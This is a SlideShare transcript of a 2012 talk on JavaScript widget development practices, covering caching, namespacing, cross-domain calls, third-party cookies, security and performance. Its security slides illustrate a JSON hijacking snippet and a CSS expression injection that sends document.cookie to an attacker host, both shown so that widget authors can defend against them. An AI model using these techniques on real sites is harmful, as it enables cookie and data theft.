SlideShare a Scribd company logo
JavaScript Widget
Development Best
    Practices
   Volkan Özçelik

   volkan@o2js.com

                     2012-07-29 @ jstanbul
               http://jstanbul.org/2012
Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
  •   Versioning
  •   You are not the host, you are the thief.
  •   Shared Environment
  •   Bumping the Cross-Domain Wall
  •   Not Your Grandma’s Cookies
  •   Security
  •   Performance

• Questions
tar -zxvf 30Min.gz



http://bit.ly/js-widget
 (work in progress)
tar -zxvf 30Min.gz




https://github.com/v0lkan/o2.js/tr
  ee/master/examples/widget-demo
What is a Widget?

• A Distributed Plugin
  • Source Site ( widget provider )
  • Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless
Versioning Hassle

• Types of Versioning:
  • URL Versioning
  • Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.
  • When’s the last time you updated that Wordpress theme?
  • Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js  15 minute cache time;
• twitter‘s widgets.js  30 minute cache time.


                    What part of
            “Far Future Expires Header”
               don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts:
  • A Bootloader Script
  • A JavaScript Beacon:
    • Returns 204 No Content if versions match,
    • Returns an auto-loader if versions do not match.
      • Iframe Refresh
      • window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype.

• Show love to the Module Pattern.

• Do not slow down publisher:
  • Async initialization,
  • Lazy Load.

• Do not slow down yourself:
  • Native is faster,
  • Use IDs everywhere.
Environment is Shared

• Prefix everything.

• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods
 • CORS
 • HTML5 window.postMessage API

• Hacks
 •   Flash Proxy
 •   Hash Fragment Transport
 •   window.name Transport
 •   Iframe inside an Iframe (klein bottle)
 •   Use Publisher’s Server as a Proxy
 •   JSON with Padding
Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.
Third Party Cookies

• Meaning of ‚disabled‛ varies too
  • Firefox & Opera:
    • Server cannot read, client cannot write
    • We’re tossed! (or are we?)
  • IE:
    • Server can read, client cannot write
  • Webkit (Chrome & Safari):
    • Server can read,
    • client can ‚kinda‛ write (iframe post hack)
Third Party Cookies

• Check for 3rd Party Cookie Support First
    • Don’t jump straight into hacks.

• External Windows as a Rescue
  • A pop-up is considered ‚first party‛

• What about Opera & Firefox ?
  • Store session ID as a variable.
  • Pass to the server at each request.
  • Do not store on publisher’s page!
    • Use an IFRAME on API domain for security.
Widget Security

• Bottom Line Up Front
 •   Sanitize everything.
 •   First deny everything, then whitelist known good.
 •   Check referrers, have a list of trusted domains.
 •   Do not trust anyone.

                                        function Anyone(){}
                                      function Publisher(){}
                         Publisher.prototype = new Anyone();
Widget Security
• XSS
  •   Sanitize everything.
  •   Escape < > ; , ‘ ‚ into HTML entities.

• CSRF
  •   Use a CSRF token.

• Denial of Service
  •   Subdomains per publisher ( publisher1.api.example.com ).
  •   Throttle suspicious requests per subdomain.
  •   Best handled on network / hardware layer.

• Session Hijacking
  •   … is a reality.
  •   The only reasonable protection is HTTPS.
  •   Use Multi-Level Authentication.
Widget Security (lesser known)

JSON Hijacking
<script>
var captured = [];
function Array() {
    for (var i = 0; i < 3; i++) {
        this[i] setter = function(val)
                         { captured.push(val); };
    }
}
</script>
<script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)

CSS Expression Hijacking



         var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
          document.cookie);';
Widget Security (lesser known)

Clickjacking
• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers
Widget Performance
• Minimize Initial Payload:
  • Tiny boot loader, then load dependencies.

• Lazy load when possible.
• Combine and Minify Assets.
• Use CSS Sprites.
• Defer images (use a default image, then load
  original).
• Minimize # of HTTP Requests.
Widget Performance

• Minimize Repaint and Reflow.

• Rate-limit Server Requests (throttle, debounce).

• Yield with setTimeout(fn, 0).

• Chunk large arrays of instructions.

• Improve Perceived Performance:
  • Be an optimist: act, then verify.
Widget Performance
•   Do not micro-optimize,
•   Do not optimize prematurely,
•   Optimizing without measurement is misleading,
•   It’s hard to measure a third party widget’s performance.
    •   A lot of moving parts involved.
    •   Tools like jsperf.com will not be of much use.
    •   Do not use your 8GB Ram + SSD MacBook for profiling.
    •   Test on an low-grade machine.
• Do not forget mobile!
Thank You!



 Questions?

More Related Content

What's hot (20)

KEY
Modern iframe programming
benvinegar
 
PDF
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
PPTX
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
PDF
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
PDF
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
PDF
Selenium testing
Jason Myers
 
PPTX
Testing Single Page Webapp
Akshay Mathur
 
PPTX
In-browser storage and me
Jason Casden
 
PDF
Webdriver.io
LinkMe Srl
 
PDF
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
KEY
ClubAJAX Basics - Server Communication
Mike Wilcox
 
PDF
Testing Mobile JavaScript (Fall 2010
jeresig
 
PPTX
Blazor v1.1
Juan Luis Guerrero Minero
 
PDF
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
PDF
jQuery Keynote - Fall 2010
jeresig
 
PDF
Re-Introduction to Third-party Scripting
benvinegar
 
PPT
Next generation frontend tooling
pksjce
 
PDF
Build the mobile web you want
k88hudson
 
PDF
JSFoo-2017 Takeaways
Mir Ali
 
PPTX
Automated Testing with Cucumber, PhantomJS and Selenium
Dev9Com
 
Modern iframe programming
benvinegar
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Selenium testing
Jason Myers
 
Testing Single Page Webapp
Akshay Mathur
 
In-browser storage and me
Jason Casden
 
Webdriver.io
LinkMe Srl
 
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Testing Mobile JavaScript (Fall 2010
jeresig
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
jQuery Keynote - Fall 2010
jeresig
 
Re-Introduction to Third-party Scripting
benvinegar
 
Next generation frontend tooling
pksjce
 
Build the mobile web you want
k88hudson
 
JSFoo-2017 Takeaways
Mir Ali
 
Automated Testing with Cucumber, PhantomJS and Selenium
Dev9Com
 

Similar to External JavaScript Widget Development Best Practices (updated) (v.1.1) (20)

PPTX
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
PPT
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
Vagner Santana
 
PPTX
Html5 security
Krishna T
 
PDF
Html5 Application Security
chuckbt
 
PDF
Optimizing Your Frontend Performance
Thomas Weinert
 
PDF
Protecting Your APIs Against Attack & Hijack
CA API Management
 
PPSX
Web security
kareem zock
 
PDF
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
PPTX
Wordpress Meetup
Codal
 
PPTX
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Patrick Meenan
 
PPT
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Stephan Chenette
 
PDF
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
PDF
Building a js widget
Tudor Barbu
 
PPTX
Secure web messaging in HTML5
Krishna T
 
PDF
XCS110_All_Slides.pdf
ssuser01066a
 
PDF
Even faster web sites 1st Edition Steve Souders
huapepotts09
 
PPTX
Presentation Tier optimizations
Anup Hariharan Nair
 
PDF
Top 10 Web Application vulnerabilities
Terrance Medina
 
PPTX
HTML5 - The Promise & The Peril
Security Innovation
 
PDF
FFWD.PRO - It's not you, It's me (or how to avoid being coupled with a Javasc...
Marco Cedaro
 
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
Vagner Santana
 
Html5 security
Krishna T
 
Html5 Application Security
chuckbt
 
Optimizing Your Frontend Performance
Thomas Weinert
 
Protecting Your APIs Against Attack & Hijack
CA API Management
 
Web security
kareem zock
 
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
Wordpress Meetup
Codal
 
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Patrick Meenan
 
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Stephan Chenette
 
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Building a js widget
Tudor Barbu
 
Secure web messaging in HTML5
Krishna T
 
XCS110_All_Slides.pdf
ssuser01066a
 
Even faster web sites 1st Edition Steve Souders
huapepotts09
 
Presentation Tier optimizations
Anup Hariharan Nair
 
Top 10 Web Application vulnerabilities
Terrance Medina
 
HTML5 - The Promise & The Peril
Security Innovation
 
FFWD.PRO - It's not you, It's me (or how to avoid being coupled with a Javasc...
Marco Cedaro
 
Ad

Recently uploaded (20)

PPTX
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
 
PDF
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
PDF
POV_ Why Enterprises Need to Find Value in ZERO.pdf
darshakparmar
 
PDF
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
PDF
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
PDF
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PPTX
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
PDF
The 2025 InfraRed Report - Redpoint Ventures
Razin Mustafiz
 
PDF
Staying Human in a Machine- Accelerated World
Catalin Jora
 
PDF
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PDF
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
PDF
Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
PDF
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PPTX
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
 
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
"AI Transformation: Directions and Challenges", Pavlo Shaternik
Fwdays
 
POV_ Why Enterprises Need to Find Value in ZERO.pdf
darshakparmar
 
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
The 2025 InfraRed Report - Redpoint Ventures
Razin Mustafiz
 
Staying Human in a Machine- Accelerated World
Catalin Jora
 
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
Ad

External JavaScript Widget Development Best Practices (updated) (v.1.1)

  • 1. JavaScript Widget Development Best Practices Volkan Özçelik [email protected] 2012-07-29 @ jstanbul http://jstanbul.org/2012
  • 2. Who am I? • CTO, cember.net (%100 acquired by Xing AG; RIP) • Project Director, livego.com (gone to deadpool, RIP) • CO-VP of Technology, grou.ps ( http://grou.ps/ ) • JavaScript Engineer, SocialWire ( http://socialwire.com/ ) • J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
  • 3. Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan
  • 4. Outline • What is a Widget? / Types of Widgets • Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance • Questions
  • 7. What is a Widget? • A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers ) • Can have a GUI ( weather forecast ) • May not have GUI too ( analytics, statistics ) • Can be Stateful • Can be Stateless
  • 8. Versioning Hassle • Types of Versioning: • URL Versioning • Version Number as an Init Parameter • If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
  • 9. Versioning Hassle • google‘s ga.js 2 hour cache time; • Facebook‘s all.js  15 minute cache time; • twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
  • 10. Versioning Hassle • Far Future Expires Header • Self Cache-Revalidating Scripts: • A Bootloader Script • A JavaScript Beacon: • Returns 204 No Content if versions match, • Returns an auto-loader if versions do not match. • Iframe Refresh • window.location.reload(true)
  • 12. Act, but don’t be Seen • You don’t own publisher’s DOM. • Leave minimal trace behind. • Do not slow down publisher. • Do not pollute global namespace.
  • 13. Act, but don’t be Seen • Do not extend Object.prototype or Function.prototype. • Show love to the Module Pattern. • Do not slow down publisher: • Async initialization, • Lazy Load. • Do not slow down yourself: • Native is faster, • Use IDs everywhere.
  • 14. Environment is Shared • Prefix everything. • I mean… everything!
  • 16. Cross Domain Boundary • Modern Methods • CORS • HTML5 window.postMessage API • Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
  • 17. Third Party Cookies • Can be disabled by default. • Users may explicitly disable them. • Ad blocker browser plugins may disable them. • You cannot rely on their existence.
  • 18. Third Party Cookies • Meaning of ‚disabled‛ varies too • Firefox & Opera: • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE: • Server can read, client cannot write • Webkit (Chrome & Safari): • Server can read, • client can ‚kinda‛ write (iframe post hack)
  • 19. Third Party Cookies • Check for 3rd Party Cookie Support First • Don’t jump straight into hacks. • External Windows as a Rescue • A pop-up is considered ‚first party‛ • What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
  • 20. Widget Security • Bottom Line Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
  • 21. Widget Security • XSS • Sanitize everything. • Escape < > ; , ‘ ‚ into HTML entities. • CSRF • Use a CSRF token. • Denial of Service • Subdomains per publisher ( publisher1.api.example.com ). • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer. • Session Hijacking • … is a reality. • The only reasonable protection is HTTPS. • Use Multi-Level Authentication.
  • 22. Widget Security (lesser known) JSON Hijacking <script> var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script>
  • 23. Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image; i.src="http://attacker.example.com/?" + document.cookie);';
  • 24. Widget Security (lesser known) Clickjacking • Invisible IFRAME positioned on a UI element. Remedy: • Framekiller scripts • X-Frame-Options header • Request confirmation for sensitive actions • Register all your publishers
  • 25. Widget Performance • Minimize Initial Payload: • Tiny boot loader, then load dependencies. • Lazy load when possible. • Combine and Minify Assets. • Use CSS Sprites. • Defer images (use a default image, then load original). • Minimize # of HTTP Requests.
  • 26. Widget Performance • Minimize Repaint and Reflow. • Rate-limit Server Requests (throttle, debounce). • Yield with setTimeout(fn, 0). • Chunk large arrays of instructions. • Improve Perceived Performance: • Be an optimist: act, then verify.
  • 27. Widget Performance • Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading, • It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf.com will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine. • Do not forget mobile!